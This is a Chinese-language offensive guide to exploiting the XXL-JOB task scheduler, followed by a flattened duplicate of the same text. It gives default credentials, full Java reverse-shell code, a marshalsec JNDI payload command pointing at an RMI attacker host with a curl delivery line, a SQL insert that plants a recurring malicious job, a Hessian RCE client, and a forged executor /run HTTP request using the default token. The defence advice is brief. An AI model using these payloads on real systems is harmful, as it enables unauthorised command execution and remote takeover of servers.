XXL-JOB在真实攻防下的总结
字数 1368 2025-08-05 12:50:26

XXL-JOB在真实攻防中的利用总结

一、XXL-JOB简介

XXL-JOB是一个分布式任务调度平台,在真实攻防场景中经常遇到,由于其默认配置和设计特点,存在多个可利用的安全漏洞。

二、基本利用方式 - 计划任务命令执行

1. 默认凭据利用

  • 默认账号密码:admin/123456
  • 系统不会强制要求修改默认密码
  • 登录后可创建计划任务执行命令

2. 命令执行方法

  1. 登录后台
  2. 新建任务
  3. 选择脚本语言类型
  4. 在GLUE IDE中编辑命令
  5. 选择"执行一次"

3. 常见问题与解决方案

  • 系统类型不匹配问题

    • 不要假设executor总是运行在Linux下
    • 可能运行在Windows环境,需使用PowerShell命令
    • 通用方案:使用Java代码执行,兼容Windows和Linux
  • 反弹Shell代码示例

package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
    // 省略StreamConnector内部类
    
    public reverse() {
        reverseConn("ip:port");
    }

    public void reverseConn(String ip) {
        String ipport = ip;
        try {
            String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                ShellPath = new String("/bin/sh");
            } else {
                ShellPath = new String("cmd.exe");
            }
            Socket socket = new Socket(ipport.split(":")[0], 
                                     Integer.parseInt(ipport.split(":")[1]));
            Process process = Runtime.getRuntime().exec(ShellPath);
            new StreamConnector(process.getInputStream(), 
                              socket.getOutputStream()).start();
            new StreamConnector(process.getErrorStream(), 
                              socket.getOutputStream()).start();
            new StreamConnector(socket.getInputStream(), 
                              process.getOutputStream()).start();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • Executor不出网问题
    • 检查executor注册方式
    • 自动注册的executor通常保持活跃(每2分钟发送心跳)
    • 手动注册的executor可能失效

三、API未授权访问漏洞(XXL-JOB <= 2.0.2)

1. 利用JNDI注入打内存马

  • 要求:目标出网
  • 使用marshalsec生成payload:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser
  • 发送payload:
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2. 利用XSLT注入内存马

  • 适用于不出网环境
  • 可注入suo5内存马进行正向代理内网穿透

四、执行命令注入内存马

  • 适用场景:executor不出网
  • 要求:admin端和executor在同一主机
  • 方法:
    1. 使用echo或Java写入文件方法将agent内存马写入目标主机
    2. 加载内存马

五、数据库利用技巧

1. 通过数据库获取XXL-JOB密码

  • 获取数据库中的XXL-JOB凭据
  • 密码为MD5加密,可尝试解密或新增用户

2. 直接通过数据库写入恶意任务

  • 在xxl_job.xxl_job_info表中插入恶意任务:
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`) 
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);
  • 关键参数说明:
    • schedule_type: 设置为CRON
    • schedule_conf: 执行频率(如0/5 * * * * ?表示每5秒一次)
    • glue_type: 命令类型(GLUE_POWERSHELL/GLUE_SHELL/GLUE_GROOVY等)
    • glue_source: 要执行的命令
    • trigger_status: 需要改为1才会执行

六、Executor未授权访问漏洞

1. XXL-JOB < 2.1.2版本

  • 利用Hessian触发
  • 参考项目:https://github.com/OneSourceCat/XxlJob-Hessian-RCE
  • 示例代码:
// 省略包和导入
public class App {
    // 省略sendData方法
    
    public static void main(String[] args) throws Exception {
        String code = "package com.xxl.job.service.handler;\n" +
                "import com.xxl.job.core.log.XxlJobLogger;\n" +
                "import com.xxl.job.core.biz.model.ReturnT;\n" +
                "import com.xxl.job.core.handler.IJobHandler;\n" +
                "import java.lang.Runtime;\n" +
                "public class DemoGlueJobHandler extends IJobHandler {\n" +
                "\t@Override\n" +
                "\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
                "      \tRuntime.getRuntime().exec(\"calc\");\n" +
                "\t\treturn ReturnT.SUCCESS;\n" +
                "\t}\n" +
                "}\n";

        TriggerParam params = new TriggerParam();
        params.setJobId(10);
        params.setExecutorBlockStrategy("SERIAL_EXECUTION");
        params.setLogId(10);
        params.setLogDateTime((new Date()).getTime());
        params.setGlueType("GLUE_GROOVY");
        params.setGlueSource(code);
        params.setGlueUpdatetime((new Date()).getTime());

        XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
        xxlRpcRequest.setRequestId("111");
        xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
        xxlRpcRequest.setMethodName("run");
        xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
        xxlRpcRequest.setParameters(new Object[] {params});
        xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

        HessianSerializer serializer = new HessianSerializer();
        byte[] data = serializer.serialize(xxlRpcRequest);
        sendData("http://127.0.0.1:9999", data);
    }
}

2. 2.2.0 <= XXL-JOB <= 2.4.0版本

  • 支持RESTFUL API,可直接发送HTTP包伪造
  • 示例请求:
POST /run HTTP/1.1
Host: 192.168.226.1:10999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Content-Type: application/json
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

3. XXL-JOB >= 2.4.0版本

  • 添加了默认token(default_token)
  • 利用方式与2.2.0-2.4.0相同,但需要包含token头
  • 许多管理员不会修改默认token,仍可被利用

七、防御建议

  1. 修改默认密码admin/123456
  2. 及时升级到最新版本
  3. 修改默认的XXL-JOB-ACCESS-TOKEN
  4. 限制XXL-JOB管理界面的访问权限
  5. 监控数据库中的异常任务记录
  6. 对executor进行网络隔离,限制其出站连接
XXL-JOB在真实攻防中的利用总结 一、XXL-JOB简介 XXL-JOB是一个分布式任务调度平台,在真实攻防场景中经常遇到,由于其默认配置和设计特点,存在多个可利用的安全漏洞。 二、基本利用方式 - 计划任务命令执行 1. 默认凭据利用 默认账号密码:admin/123456 系统不会强制要求修改默认密码 登录后可创建计划任务执行命令 2. 命令执行方法 登录后台 新建任务 选择脚本语言类型 在GLUE IDE中编辑命令 选择"执行一次" 3. 常见问题与解决方案 系统类型不匹配问题 : 不要假设executor总是运行在Linux下 可能运行在Windows环境,需使用PowerShell命令 通用方案:使用Java代码执行,兼容Windows和Linux 反弹Shell代码示例 : Executor不出网问题 : 检查executor注册方式 自动注册的executor通常保持活跃(每2分钟发送心跳) 手动注册的executor可能失效 三、API未授权访问漏洞(XXL-JOB <= 2.0.2) 1. 利用JNDI注入打内存马 要求:目标出网 使用marshalsec生成payload: 发送payload: 2. 利用XSLT注入内存马 适用于不出网环境 可注入suo5内存马进行正向代理内网穿透 四、执行命令注入内存马 适用场景:executor不出网 要求:admin端和executor在同一主机 方法: 使用echo或Java写入文件方法将agent内存马写入目标主机 加载内存马 五、数据库利用技巧 1. 通过数据库获取XXL-JOB密码 获取数据库中的XXL-JOB凭据 密码为MD5加密,可尝试解密或新增用户 2. 直接通过数据库写入恶意任务 在xxl_ job.xxl_ job_ info表中插入恶意任务: 关键参数说明: schedule_type : 设置为CRON schedule_conf : 执行频率(如0/5 * * * * ?表示每5秒一次) glue_type : 命令类型(GLUE_ POWERSHELL/GLUE_ SHELL/GLUE_ GROOVY等) glue_source : 要执行的命令 trigger_status : 需要改为1才会执行 六、Executor未授权访问漏洞 1. XXL-JOB < 2.1.2版本 利用Hessian触发 参考项目:https://github.com/OneSourceCat/XxlJob-Hessian-RCE 示例代码: 2. 2.2.0 <= XXL-JOB <= 2.4.0版本 支持RESTFUL API,可直接发送HTTP包伪造 示例请求: 3. XXL-JOB >= 2.4.0版本 添加了默认token(default_ token) 利用方式与2.2.0-2.4.0相同,但需要包含token头 许多管理员不会修改默认token,仍可被利用 七、防御建议 修改默认密码admin/123456 及时升级到最新版本 修改默认的XXL-JOB-ACCESS-TOKEN 限制XXL-JOB管理界面的访问权限 监控数据库中的异常任务记录 对executor进行网络隔离,限制其出站连接